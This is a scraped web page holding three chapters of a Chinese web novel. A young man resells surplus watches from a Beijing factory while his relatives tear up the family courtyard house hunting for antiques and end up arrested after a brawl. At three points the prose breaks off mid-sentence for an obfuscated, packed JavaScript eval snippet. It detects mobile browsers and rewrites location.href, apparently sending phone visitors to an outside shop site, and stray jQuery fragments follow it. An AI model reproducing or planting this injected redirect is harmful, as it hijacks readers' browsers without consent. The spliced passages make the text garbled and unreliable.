吴国秀在她旁边坐下,有意敲打这个妹妹,便跟吴旭东说道:“还好今天没什么损失,线路也换了。早点睡,明天你爷爷忌日,大姑带你去上坟,告慰他老人家的在天之灵。” “好。”吴旭东还得帮柯有钱的忙。 早点祭拜完,之后就要领着谢昌隆和柯有钱卖手表去了。 刚好出去转个六七天,回来再祭拜一下奶奶,然后打道回府。 不过他得先借个货车。 他问吴国秀,有没有认识的人家有车。 谢昌隆凑过来插了句嘴:“我家有,要的话我现在回去开。” 吴旭东拿了五百给他:“当我租你的,油钱回头另算,咱们三个这几天吃喝睡觉都在货车上解决吧,你把小柯也带回去,多带几身换洗衣服,入秋了,雨水多。” 谢昌隆没有拒绝,毕竟那是他哥的车子。 他跟柯有钱很快回来了,货车半新不旧的,但是剩在里头干净。 吴旭东盯着这熟悉的老款式,恍惚了刹那。 曾经他就是被这样的车子给带走拐卖了。 前阵子又差点连着这样的车子一起摔下悬崖。 但也正是因为这样的车子,他跟周子琰重逢了。 还跟爸妈团圆了,结了婚,开启了人生的全新篇章。 现在,他要开着这样的车出去赚钱了。 想想还是怪唏嘘的。 他看看手表,刚过饭点,这会儿手表厂应该下班了,不过库房的人应该可以临时过来加个班。 早点把货接了,明天就可以直接出发了。 便让谢昌隆回去叫上柯有钱的妈妈,开车去了厂长家里。 厂长姓焦,五短身材,弥勒佛似的大圆脸,肥头大耳的,整个人显得特别喜庆。 一听有人愿意帮忙处理厂里积压的手表,赶紧放下筷子,上了货车,一起去找库房管理员拿钥匙,顺便再把会计叫上。 一群人在厂办公室商量半天,最终还是决定,直接把这批货卖给吴旭东,自负盈亏。 吴旭东乐了,那挺好的,卖多了也是他的,不用跟厂里分了。 会计是个干瘪的大叔,中等身材,一脸的精明。 他得了厂长的授意,故意把价钱报高一点,这样有砍价拉扯的余地。 噼里啪啦敲起了算盘,道:“男士手表售价120,批发价四折,给你再打个八折,38元四毛。” 吴旭东不说话,看向了柯母。 这阿姨慈眉善目的,一看就很好说话,赶紧劝道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13699574|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “厂长,你看,小吴他刚毕业,手里没那么多钱,这不,东拼西凑的,才找他七大姑八大姨借了五万,咱再给他优惠点儿好了。” 焦厂长陷入了沉默。 厂里也要赚钱啊。 虽然成本价只有二十左右,但是,一想到厂里拖欠的工资,他就不想让价让得太狠了。 思来想去,咬咬牙,道:“那就35吧,一次拿不完没事,你随时过来,我随时叫人开仓库。” 吴旭东没有接这话,只是问道:“女款呢?” 他总不能只拿男款,搭配着来才行。 “女士手表售价150,批发价四折,再打八折,48元整。”会计飞快报数。 吴旭东盘算了一下,就算五万全部用来拿货,也只能吃掉三分之一的库存。 路上三个人还要吃喝花销,也都需要用钱。 他这次过来,没带太多现金,身上的零钱只剩一千多。 还是要再压一压价。 于是他为难道:“既然这样,那我只进三万左右的货吧,我还要留点钱兜底。” 厂长一听,急了:“别啊,三万左右才多少货啊,再来点儿吧。” “不行啊焦厂长,我这钱都是借的,我大姑一直教导我,不能把鸡蛋放在一个篮子里,要是我卖不出去亏了,那我大姑不得打死我吗?”吴旭东装起了可怜。 大学生的身份不用白不用。 一个初出茅庐的大学生,找家里借了钱,当然是畏首畏尾的,不会大大咧咧一口气全投进去。 焦厂长苦口婆心:“小吴啊,要不这样,只要你肯拿五万的货,我就再给你优惠一点儿。” “算了,就三万吧。”吴旭东坚持。 焦厂长赶紧冲会计使了使眼色,让会计劝劝,他是厂长,不好再主动让价了。 于是会计噼里啪啦打起了算盘:“厂长,要不这样,男款的给小吴算30吧,拿一千的量,正好三万,女款的算40,拿五百的量,正好两万。人就一大学生,能有这样的胆识和魄力就挺不错了,咱们少赚点吧,趁早把工资发了,皆大欢喜。” 焦厂长故作为难的点了根烟,一旁的吴旭东递了根黄鹤楼过去:“抽我的。” 焦厂长一看,惊讶不已:“好小子,你抽得起这么贵的烟?” “我邻居家的姐姐送我的,庆祝我大学毕业。”吴旭东可不想亮出自己老婆的身份。 容易害了周子琰。 可是,总得让厂长知道他有人脉,后续也许还能进一步合作。 所以他对周子琰的介绍,尽量含蓄委婉了一下。 也不算撒谎,两人小时候确实是邻居。 焦厂长一听,不禁坐直了身体。 乖乖,这个小吴不简单啊,居然有个买得起黄鹤楼的邻家姐姐。 两人的关系很值得玩味嘛。 这要是没有男女之情,他把他的焦字倒过来写! 焦厂长把黄鹤楼点上,发自内心的感叹道:“还是高档货抽着舒服啊。” 吴旭东笑笑,没有说话。 焦厂长一拍膝盖,站了起来:“这样!男款给你算29,女款39。这是我最大的让步,你考虑一下吧小吴。我也不让你来回折腾,你可以给我抵押个东西在厂里,把所有的库存全部拿走。卖完了再回来把剩余的货款结了。” “真的?”吴旭东自然也不愿意来回折腾。 要是一次能把库存吃了,那就再好不过了。 便把大姑叫了过来,抵押了大姑的一本房本,签了合同,把货全部装上,回了四合院。 第二天一早,吴旭东跟着他爸和两个姑姑去祭拜了爷爷奶奶。 上午九点,他带着隆哥和小柯,离开了北京。 中午下班,吴家栋特地绕到四合院门口看了眼。 居然没人在家,他一时大着胆子,准备翻墙进去看看。 既然这个洋鬼子跟吴国秀串通一气的,那这四合院里一定做了手脚。 他自然要亲自验证一下。 这样才能说服自己,不把四合院买回来的决定是对的。 没想到吴国秀还盯着他呢,他刚爬到墙头,身后便传来一声中气十足的怒喝,吓得他从墙上滚了下来。 35. 挖宝(二更) 吴家栋摔得够呛,好在院墙不高,只是崴了脚。 爬起来,还想理论几句,谁曾想,吴国秀懒得跟他废话,转身嚷嚷着要去报警,吓得他赶紧夹起尾巴滚了。 吴国秀愁死了。 这么下去也不是个办法,只有千年做贼的,哪有千年盯贼的。 再说四合院又不是什么小物件儿,可以揣兜里带走。 无奈,只好回去跟吴国正商量:“你住进去吧。” 吴国正倒是没什么意见,可他终究是要回去的呀,这也不是长远之计。 只得提议:“大姐,还是你住进去吧,等咱妈过完忌日,我得走了,我总不能一直让老周两口子帮我照顾三娘。” 吴国秀不乐意,她还是住在小区这里的好,帮着一双儿女照顾照顾孩子。 这几天她忙着盯吴家栋,孩子都是亲家接送的,早晚得对她有意见。 思来想去,她提议道:“你把三娘接过来吧,正好北京这边医疗条件好,找几个脑科专家给她好好看看。” 这倒也是个办法。 吴国正没有拒绝:“只是这么一来,燕西两口子肯定会知道四合院的事,早晚得跑过来闹。” “那倒也是,万一他们被吴家栋挑唆了,一起来对付东东,那真是永无宁日了。”吴国秀还是知道自己大侄子的口碑的。 那谈九妹跟她关系不错,出差路过都会来看看她。 闲话家常的时候,必然会聊到吴燕西跟顾蔓蔓。 要么她怎么消息那么灵通,吴国正刚把古董抵押出去,她就给赎回来了呢。 谈九妹在里面充当了传话筒的作用。 所以她知道吴燕西两口子已经骗了家里十几万了。 自然不肯把这四合院给他们。 可是,总不能因为担心吴燕西闹,就让吴家栋他们占便宜吧。 “万一他们真的趁着咱们不注意,进去把地砖掀起来挖什么宝贝,你可别怪我没有提醒过你啊。”吴国秀非常了解那家人的人品,这种事他们绝对做得出来。 吴国正头疼,那怎么办呢? 总之,先住进去吧,慢慢想办法。 他收拾收拾,把行李搬了过去,反正东东留了钥匙给他。 他这边刚收拾好,吴家栋便瘸着腿探头探脑的找了过来。 尽管他关着门,吴家栋还是从门缝里看到了他的身影,喊道:“国正哥,是你回来了?这房子不是被别人买走了吗?你哪来的钥匙啊?” 吴国正只当没听见,把收音机的声音调到最大,继续忙自己的。 其实没什么好忙的,从小生活的地方,有什么东西他还是清楚的。 无非就是把院子里那棵挖起来又种回去的枇杷树再收拾收拾,加点肥料,补点水。 再把家里的家具全都擦洗一遍,屋脊上的蜘蛛网啊,尘灰啊,全都掸一掸,吹一吹。 那吴家栋喊了半天,没人搭理自己,心里疑云滚滚。 赶紧去派出所,问了问他弟弟吴家梁盗窃案的相关细节。 作为家属,他是有权利了解这些的,警察也没有瞒他。 很快,他从派出所出来了,整个人都恍恍惚惚的。 像是被人迎面捶了一拳,脑袋瓜子嗡嗡的,不亚于有几百个吴国秀在追着他骂。 他很受挫,原来他们一家子,从一开始就上当了啊。 买房子的根本不是什么洋鬼子的亲戚,而是吴旭东安排的亲信啊。 要不然,为什么吴家梁偷的是吴旭东的钱呢? 这钱还是找吴国秀借的,一定是他们姑侄两个故意钓鱼,引家梁上钩。 他好气,赶紧跑到四合院,哐哐砸门,要吴国正给他一个说法。 吴国正本就气恼吴仲和跟他儿子抢房子,现在吴家栋又来吵吵,简直不胜其烦。 泥人还有三分脾气,他一把拉开了四合院的门,干脆跟吴家栋把话说开了:“你们一家强占了我家的房子,还好意思倒打一耙?怪不得东东结婚你不肯去呢,你不是生病了吗?我看你好得很呢!” 吴家栋不说话,就那么盯着他,那怨毒的眼神,宛如一条随时准备咬人一口的毒蛇。 吴国正不想被他纠缠,干脆放了狠话:“有什么意见法庭上见。” 吴家栋一言不发地离开,心里升起一个歹毒的念头。 回去后赶紧联系吴国正当年的朋友,说要办一个聚会,庆祝吴国正找回了他的小儿子吴旭东。 这些朋友好些年不跟吴国正联系了,都嫌弃他如今混得不像个人样子。 可是现在,听说他儿子做了周中擎的女婿,那不得好好巴结巴结? 那可是大老板,有钱。 于是吴国正原本还在安安静静的收拾院子,很快便被一群朋友找上门来,喊他出去聚会。 他不肯去,这群人就围在门口不肯走了。 还打起了感情牌—— “国正啊,你小时候惹了麻烦,还是我帮你摆平的呢,怎么,现在发达了,翻脸不认人啦!” “就是啊国正,你说说你,十几年不回来,一回来就躲着不见人,不知道的还以为你犯事儿了呢。” “国正啊,都是一起长大的兄弟,干嘛这么生分呢?你那小儿子在哪里,叫过来一起喝两杯。” “国正,实在不行,我们就在你门口过夜了,你要是真的忍心晾着兄弟们喂蚊子,那你就别开门。” “国正啊……” 吴国正不胜其烦,无奈,只好开了门。 但他死活不同意出去下馆子,只肯在院子里聚聚,做点家常菜。 这是大姐叮嘱过的,在她想到办法之前,说什么也不能离开四合院。 朋友们无奈,只好顺着他,有人去买了点酒水过来,有人去买菜。 很快便在四合院里张罗起了三桌酒席。 酒过三巡,吴国正醉了,踉踉跄跄的推开众人,说什么也要睡到屋里去,不敢忘了大姐的叮嘱。 可惜这群人里头有吴家栋的死党,等他倒在床上睡着了,众人便把他抬了出去,给吴家栋制造了绝佳的机会。 天黑了,四下无人,院门大敞。 吴家栋领着子女们,带着铁锨和铁镐,准备过来挖古董。 风吹过,东倒西歪的啤酒瓶滚落下来两个,啪的两声碎了,跟满地的花生壳、毛豆壳融为一体。 像一幅被毁了的油画,敷衍,潦草,处处透着一种兵荒马乱的凌乱。 吴家栋大手一挥:“挖!每一块砖都要给我掀开,仔细地挖!” * 吴旭东回到了上大学的城市。 原因倒也简单,这里他熟。 想推销点什么产品,当然是从自己的舒适圈做起,会比较容易一点。 再者,这里大学多,又是刚开学,学生们兜里多多少少都有点钱。 正好马上中秋了,给男女朋友的爸爸妈妈送块手表,不是挺有派头的一件事吗? 所以,他也不去找什么商场,供销社合作。 干脆在大学城后面的美食街上摆摊儿。 为了突出中秋送礼这个卖点,他还特地找了个礼品店,买了些包装纸,贺卡和鲜花。 谢昌隆性格木讷,不会叫卖,那就在旁边负责折叠包装纸,装礼品袋。 柯有钱话多,人又热情,长得还有点滑稽,吆喝起来嗓音洪亮,很有感染力,那就负责叫卖。 而他自己,则神在在的弄了个小马扎坐在旁边,写起了贺卡。 很快吸引了一些小情侣过来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701490|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一单非常顺利,是一对热恋中的小情人,中秋正好准备去女方家里见见父母。 两块手表,正好送给未来的老丈人和丈母娘。 吴旭东投其所好,问了问女学生父母结婚多少年了。 “三十年了。”女生羞涩的笑笑。 吴旭东心里有数了,五十年的是金婚,四十年的是银婚,那么三十年的呢? 肯定不能叫铜婚,不够上档次。 那就叫象牙婚,或者珍珠婚,玉石婚。 三者当中选一个最优的,那就珍珠婚吧。 随手改编了一句诗句送上——“珍珠无价玉无瑕,双亲比翼传佳话。祝二老珍珠婚快乐!” 那女生高兴得不行,接过贺卡夸道:“哎呀,同学,你的字真好看,我爸妈肯定会喜欢的。” 男朋友笑着问了问价钱。 吴旭东虽然想赚钱,但也不想宰学生。 所以定价还算亲民,男款的六十八,女款的八十八。 那男生没有还价,吴旭东却主动给他把零头抹了,一百五,一对手表,成交。 有了这个好开头,一些其他的小情侣也会过来看一看,问一问。 吴旭东显然已经做好了功课,耐心解释道:“放心,北京大厂生产的,统一机芯,质保都是齐全的,品质可靠。” “同学,现在都买石英表了,机械表不吃香啊,还死沉死沉的。”客人倒不是挑刺,而是陈述一个事实。 吴旭东笑道:“我们的目标客户就是那些上年纪的叔叔阿姨,他们会喜欢的。” “那倒也是。”那男生不问了,虽然自己不想买,但也不能坏了人家的生意。 之后陆陆续续又卖出去男表十九块,女表八块。 晚上一核账,摆摊三小时,一共卖了2146。 除去成本,赚了1215,再除掉买礼品纸,贺卡和鲜花的前,净赚1198。 这赚钱的速度看起来还行,只是,按照这个速度,起码要卖半个月才能清货。 吴旭东没有这么多时间,看来还是要想想别的办法。 于是三人上车,去了趟附近的花店,买了不少的鲜花装车上,又弄了些干燥剂,最后把车停在了大学城附近的一个广场上。 谢昌隆话少,没问,只是沉默的拿起鲜花,帮忙做干花。 柯有钱却是个闲不住的,像个好奇宝宝,追着问个不停。 吴旭东笑了笑,解释道:“做干花当然是为了卖货,到时候把包装弄得好看一点,去人流量多的广场上卖,肯定会比今天卖得好。” 柯有钱很是诧异:“这不是女孩子喜欢的玩意儿吗,你这都跟谁学的?” “我老婆。”吴旭东想起周子琰,脸上总是洋溢着甜蜜的笑。 直到这时,谢昌隆跟柯有钱才知道,这小子居然有老婆了。 不像他们两个,还是光棍儿呢! 柯有钱立马闹着要看照片。 吴旭东不给,柯有钱便撺掇着谢昌隆罢工。 吴旭东也不生气,自己做干花去了。 还能顺带回忆回忆周子琰跟他腻歪的那十几天,那些点点滴滴的温馨,随时随地捡起来一两件事情细品,都足以感动余生,经久不息。 谢昌隆不想看他一个人那么辛苦,赶紧去帮忙。 可怜柯有钱,只好不情不愿的也加入了进去,嘴里嘀嘀咕咕的:“小气,看都不让看,天仙?” “嗯,天仙。”吴旭东忙完,拿起大哥大给大姑打了个电话,问问吴家栋有没有作妖。 那头传来吴国秀气急败坏的声音:“吴家栋这个畜生,找人把你爸爸灌醉了,带着人进来挖院子了!” 吴旭东乐了:“大姑,这不挺好吗?报警啊,抓他们去坐牢!” 36. 闹剧 吴国秀还是懂点法的。 这事就算报警,也未必有用。 只要吴家栋没有给房屋造成严重的损坏,顶多只是被拘役几天,口头教育一下,罚点款也就算了。 只有情节严重的,才会处以三年以下有期徒刑。 如果真的想送他们进去,就必须闹大点才行。 比如她和吴国正去阻拦,推搡间,姐弟俩出点什么意外。 不过…… 她跟吴国正到底是吴家栋的亲戚,就算真的出点意外,也会被冠上“家务事”的名义,和稀泥。 那就只能找别人过来帮忙,只要不算“家务事”,那就好办了。 思来想去,她去喊了不少朋友过来,都是些退休的老骨头,当初他们家里有事,她都帮了忙的,这次过来算是投桃报李。 大家也都做好了磕磕碰碰的准备,没带怕的。 可惜,吴家栋不傻,看到来了一帮夕阳红,立马丢下铲子,叫上子女撤了。 吴国秀无奈,只好锁了院子,再想别的办法。 她给吴旭东打去电话:“你让小楚过来一趟吧。” 这个好办。 楚劲雄连夜坐了飞机,第二天上午就到了。 他赶到四合院的时候,院门已经被再次撬开了。 吴家栋领着子女,凌晨四点过来挖的,挖到现在,整个院子的地面都被掀开了。 又怕吴国秀带人来阻挠,所以他把他姐姐姐夫们都叫过来了,连带着各家的子女,几十口人像老鼠一样到处打洞。 结果一无所获。 越是这样,他们越是疯狂,到处挖。 整个四合院,俨然成了一个大型寻宝挖掘场,叮叮咣咣的,不知道的还以为他们在考古呢。 更可气的是,要不是楚劲雄过来得及时,只怕要挖到地基了。 他赶紧冲上去阻拦。 吴家栋等人一看到他就来气。 就是这个人,几天前骗了他们,说是洋鬼子的妹夫。 结果,洋鬼子是吴旭东。 吴旭东是家里的老小,哪来的妹夫? 骗子,妥妥的骗子! 于是一家子全都来找楚劲雄理论。 吴家栋脑子还算清醒,呵斥了自己的孩子,不准他们去跟楚劲雄推搡。 他的姐姐姐夫就没有这样的危险意识了,二话不说,跟楚劲雄扭打在了一起。 那吴国秀本就守在了门外等待时机,见状赶紧招呼自己的夕阳红团队,一起涌了进去。 这下吴家栋再想置身事外也不行了。 人太多了,把他们一家的路全都堵死了。 出不去,只能往房间里躲。 一个六十来岁的老阿姨立马冲上去拦着,还要抢他手里的铁锨。 吴家栋的自保意识超强,几乎没有反抗,赶紧把铁锨丢了。 老阿姨便去薅他女人的头发,嘴里骂骂咧咧:“你们大伯在世的时候,对你们不薄啊,你们这么做,就不怕下地狱吗?” 吴家栋的女人没有他沉得住气,立马还手跟老阿姨扭打在了一起。 一旁的儿媳妇见婆婆吃亏了,想要帮忙,却又顾忌自己怀着身孕,不敢上前,无奈之下只好催促自己男人动手。 这下可把吴家栋急坏了,想要拦着自己儿子,却被另外一个老大叔给缠住了,他只能玩起了秦王绕柱,围着客厅的茶几转圈圈。 嘴里嚷嚷着别动手别动手。 可是这种混乱的局面之下,子女哪里听得进去他的。 更何况,哪个做儿子的看到自己妈妈吃亏还能无动于衷? 立马冲上去,跟老阿姨推搡起来。 只听哎呦一声,老阿姨摔倒在地,爬不起来了。 吴家栋暗叫一声糟糕,正准备跳上茶几带自己的子女离开,警察来了。 老胡同里出了件大新闻。 吴仲和的子女霸占亲大伯家的四合院,手续不合法就算了,还私自转卖,后续又擅闯民宅进行挖掘破坏,最后竟然发展成了恶性伤人事件。 斗殴的过程中用到了铁锨,扁担,棍子,菜刀等工具,主观恶意严重。 最终导致吴国秀左臂骨折,吴国正被吴家栋姐夫砍伤大腿,血流不止,还有两个好心帮忙的叔叔阿姨的胳膊和后背受了伤,缝了十几针,楚劲雄也被打得头破血流。 事情惊动了整个片区的警察,连刑警队的都赶来了。 吴家栋一家全都进去了。 三个姐姐姐夫家也无一幸免。 吴家栋一直嚷嚷自己没有动手,可是没用,姐夫们为了推卸责任,都说是他组织的。 既然是他组织的,那就不可能成为漏网之鱼。 这事当天白天就上了电台广播,晚上又上了新闻联播。 加上几天前吴国秀就在报上刊登了遗嘱,这事真得不能再真了。 正好她手里又有举报材料,一下拔出萝卜带出泥,把几个贪污受贿的办事员也给揪出来了。 吴旭东晚上收到大姑的“战报”,却高兴不起来。 对付这种人,居然需要连累好几个叔叔阿姨受伤才行,就连楚劲雄也被打得鼻青脸肿。 这代价太大了。 等他回去,要去看望一下那些叔叔阿姨,好好补偿一下他们。 一旁的柯有钱嘀咕道:“还是那帮官老爷太宽容了,这要是搁国外,私闯民宅是可以直接开枪的。” 吴旭东不了解国外的情况,但他知道,国内肯定不行。 而且在接下来的很长一段时间内,都不可能有类似的规定。 挂了电话,他把记账本丢给了谢昌隆核算,现金则交给了柯有钱去清点。 自己叼了根烟,站在广场边的大马路上,看星星。 城市的夜空,霓虹璀璨。 星星躲在人类制造的光学幻影后面,像是蒙上了一层模糊的纱。 看不真切。 就像他,看不真切这世上到底有几分真情,几分假意。 二叔公是爷爷的亲兄弟,却可以为了一己之私,直接霸占了房产。 吴家栋等人也是他爸爸的堂兄弟堂姐妹,却可以为了一己之私,不惜擅闯四合院,入室挖掘。 以至于自掘坟墓,全都进去吃牢饭了。 原来人性的丑恶,不分城市还是农村。 原来人性的真善美,是那么的可遇不可求。 难怪自古以来,都要歌颂美德,弘扬美德。 因为太少了,实在是太少了。 就像夜空中的繁星,可以穿破霓虹遮挡的,是那么的罕见,那么的鹤立鸡群。 他盯着最闪亮的那一颗。 下意识捏紧了裤兜里的黄鹤楼。 周子琰就是最亮的那一颗。 是他可遇不可求的真善美。 明明只是儿时短暂的相遇,却可以为了那份纯真的情谊,十几年如一日的找寻。 哪怕成年后有了不一样的心动,也不曾让铜臭和世俗的做法玷污他们的感情。 彩礼是不提的,卖修车店的钱是不要的。 她自己的公寓,却早早给他留了一间房。 她给他留的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13707258|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪里是房间,分明是让他重新扎根这个世界的生机。 是他找到自己定位,努力活下去的动力。 她越是什么都不要,他越是要努力,他要给她最好的,最好的…… 起身,他把烟蒂丢进旁边的垃圾桶,转身回到了货车旁。 他的策略很成功,今天白天选了个人流量大的广场,又把周子琛叫过来帮忙。 还特地叮嘱周子琛,要穿校服。 谁会拒绝勤工俭学的大学生呢? 周子琛大四,名副其实的在校生。 这个“代言人”选得很好。 一白天卖出了男表219块,女表86块。 晚上则到大学城后面,继续摆摊。 周子琛自带名人效应,往那儿一站,就是活招牌。 接下来几天,这个瞌睡大王居然格外的热情,每天都来帮忙。 吴旭东要给他算提成,他却不肯要。 一家人,反正他也不爱上课,谈钱多伤感情。 吴旭东拗不过他,只能等周子琛结婚的时候随个大的。 不过就算按照这个速度,一个礼拜也是卖不完的。 而且周围的市场很快就饱和了。 吴旭东只能开动脑筋,找找效益好的厂子,问问人家要不要给员工发福利。 于是第四天开始,摆摊的事就交给周子琛了。 吴旭东带着样品,一家一家的找厂子谈合作。 毛巾厂没有员工福利,不要。 养殖场不搞这些过分华丽的,就算发福利,也只是发点加工好的禽类食品。 砖厂效益倒是不错,不过今年中秋的福利他们已经跟食品厂联动了,每个员工家里发两包袋装的烤鸭,一盒月饼。 机械厂效益不太好,直接拒绝了。 服装厂被外来的时装冲击,正在艰难转型,买不起。 鞋厂…… 吴旭东连连碰壁,但是没有放弃。 最后他来到了一家规模很大的家电制造商。 门卫见他穿着校服,客客气气的让他稍等。 很快,家电厂的市场部主任来了。 这是一个三十左右的年轻男人,姓龚,五官一般,中等长相,但是一双大耳垂特别显眼。 见客的时候带着笑,看着就很和气。 他是恢复高考后的第一批大学生。 虽然混得不错,但是没有放纵自己大鱼大肉,所以身材还跟学生时代差不多。 见到一个年轻帅气的大学生,还跟自己一个学校的,那态度自然热情得不行。 吴旭东笑着说明了来意。 龚主任没有拒绝,问道:“是北京那边的老厂生产的?” “是,老式的机械手表,送给年纪大的叔叔阿姨最合适不过,他们对这些东西有情怀。”吴旭东知道自己产品的卖点在哪里,客户群在哪里,不说废话。 龚主任笑着拍拍他的肩膀:“你随便转转,我去跟厂长商量一下。等会你来我办公室找我。” “我可以随便转?”吴旭东哪里知道这是自己校友,有点意外。 龚主任笑而不语,领着他先去了自己办公室,指了指办公桌上的毕业照。 吴旭东恍然:“原来是师哥,你是机械学院的?” “是啊,刚毕业的时候,去了机械厂,后来效益不好,就出来跟我朋友自己做了。我一开始是负责技术的,后来销售环节跟不上,就让我来市场部出出力。”龚主任没有架子。 那吴旭东就不客气了,到处看看,说不定可以做个分销商呢。 37. 福报(二更) 家电厂很大,厂区占地两百多亩。 以前只生产电视机和电风扇,如今引进了洗衣机的生产线。 未来还准备拓展到冰箱和空调的领域,只不过,目前这两方面的技术准备还不成熟,暂时在观望。 吴旭东转了一圈,跟几个热情的师傅聊了聊,得知这个厂卖得最好的是新研发的彩色电视机。 目前市场上的主流电视机都是18英寸,和21英寸的,太小,不够气派。 所以厂里出了两款大尺寸的,一款25英寸,适合那些年轻人结婚使用,时髦又阔气。 一款27英寸,目标人群是那些趁着改革春风先富裕起来的商人。 买个大彩电回去,倍儿有面子。 不过,虽然彩电卖得不错,但也只是相对于电风扇和洗衣机来说。 其实这三样产品的整体市场占有率都不是很高,离开本市,基本上没人知道。 所以厂长急眼了,把他最信任的大学同学调到了市场部,准备开拓外市甚至外省的市场。 吴旭东虽然有点动心,但他也知道,家电的进价动辄几百上千,小打小闹的根本做不起来。 所以,这方面的合作只能等以后钱多了再考虑了。 回到龚主任的办公室,他耐心地等着。 很快,龚主任笑着回来了:“小吴啊,你这两款表有多少个?” “男款还有一千八百多个,女款还有六百多个。”吴旭东起身,递了根黄鹤楼过去。 龚青河把烟接过去,坐下后帮他出了个主意:“我们厂一共也就八百多个员工,就算我给每一个人都发放这样的福利,也吃不掉你的库存。不如这样——” 吴旭东当然明白不可能一站解决,所以他是两手准备,摆摊也继续,再跑跑这些厂子。 不过,如果有更好的办法,他当然要洗耳恭听。 见他特别谦虚,龚青河笑了:“是这样的,我们老板有个朋友在外地,刚刚接手了一个国营商场,改成了私营。如果你愿意的话,可以去他那边看看。当然,我也不让你白跑一趟,我们厂要三百块男款的,一百块女款的。这样做个差异化的激励福利,那些偷懒的,不好好努力的就得不到这样的福利。你懂我意思吧?” “明白,谢谢师哥,你真是帮我大忙了。”吴旭东不挑,有机会就行。 别说龚青河这边只要四百个,就是一个也不要,就冲龚青河这客气的态度,他也是心怀感激的。 出门在外,谁也不欠谁的,人家愿意帮忙那都是情分,不帮才是本分。 所以他把手表的价格又降了降,男表50,女表66。 这比外面的零售价低了不少呢,识货的都知道这个价钱千载难逢。 就这么,他接过外地商场老板的名片,回去找到周子琛他们,把四百块手表送了过来。 清点钱款的时候,龚青河拿了个点钞机出来。 这东西吴旭东以前只在信用社和邮局见过,没想到现在连企业都能使用了。 看来开放市场的春风真是吹到了每一个角落。 点钞机刷刷响着,21600的现金,一分不少。 吴旭东想留点提成给龚青河,龚青河没要,反倒是笑道:“你把你师哥当成那些吃拿卡要的贪官了吧?不用,你自己拿着,我还等着你日后帮我开辟南边的市场呢。” “好说师哥,我把我电话留给你,有需要我帮忙的地方吱一声。”吴旭东把钱收好,刷刷写下联系方式。 龚青河把他送到门口。 等他走后,厂长老江出来找他:“问他了吗?愿不愿意帮咱们开辟南边的市场?” “急什么,人家刚毕业,才开始做买卖,手里哪有那么多钱。再等等。”龚青河已经找学校那边的熟人打听过了,不禁感慨,“你知道他是谁吗?” “谁啊?”老江正忙着找人调试洗衣机车间的设备,还没有功夫打听八卦。 龚青河把烟灰掸了,不禁叹了口气:“他就是那个王耀宗,之前通报表扬的打拐英雄。他自己就是被拐卖的,现在找到亲生父母了,不再叫王耀宗了。” 什么? 老江愣住了,一时着急,要追:“哎呀,你这人真是的,你这不是害我吗?我叔要是知道团团的救命恩人来了,我却没有把人请回去喝两口,非得跟我急!” “你急什么?人家等着卖货呢,等他把货卖了再说。”龚青河看得出来,这个吴旭东是个特别有上进心的人,先等他把货清了吧,要不然喝酒都喝得不踏实。 老江想想也对,不过他还是亲自给外地的朋友打了个电话:“喂,大力啊,这两天会有一个叫吴旭东的大学生去找你推销手表,数量还不少呢,你想想办法,帮我把他的库存全部吃了。” “多少啊,我不一定能卖得掉啊。” “男款还有一千五左右吧,女款应该还有五百左右。” “那真的有点多,不好办啊。” “哎呀,你到时候可以匀给别的商场嘛,不愁卖不掉的。” “石英表还是机械表?” “老式机械手表,北京老厂的。” “是统一机芯的吧?” “对,没问题的,我都验过货了。” 那边特别好奇,问道:“你一个做家电的,怎么帮忙卖起手表来了。” “还说呢,卖表的这个就是王耀宗!”老江懊悔死了,他爸妈死得早,他是他叔养大的。 不过前几年他在外地发展,今年才回了本地,跟同学一起接手了这个家电厂。 所以他虽然知道王耀宗这个人,但是一直没有见过这个恩公。 一来是厂里太忙,二来这个王耀宗太低调,不肯接受报社采访,也不让他叔拍照片。 哎呀,早知道来的是恩公,他怎么着也要留人吃一顿饭的。 电话那头显然也知道王耀宗这个人,笑着应下了:“我说呢,谁能让你老江开口求帮忙啊。行,包在我身上了。对了,知道价钱吗?我把钱准备一下。” “给我们的价钱是男款50,女款66,你要是全吃了,他肯定要按进货价给你。到时候他报多少是多少,你别还价,全当帮兄弟还人情了。你放心,卖不出去算兄弟的,兄弟不会亏待你的。”老江拍拍心口打了包票。大不了明年给厂里发福利还发手表,怕什么。 那边爽快应下。 没想到当天下午吴旭东就赶过去了。 真是为了赚钱,一刻也不肯懈怠。 接待吴旭东的是个留着板寸的纹身大汉,身高一米八五左右,体重起码两百斤,那膀子壮的,比一般人的大腿都粗。 见到吴旭东,他笑着递了根软中华过来:“你就是救了团团的那个大学生?” 吴旭东听着一愣:“你认识我?” 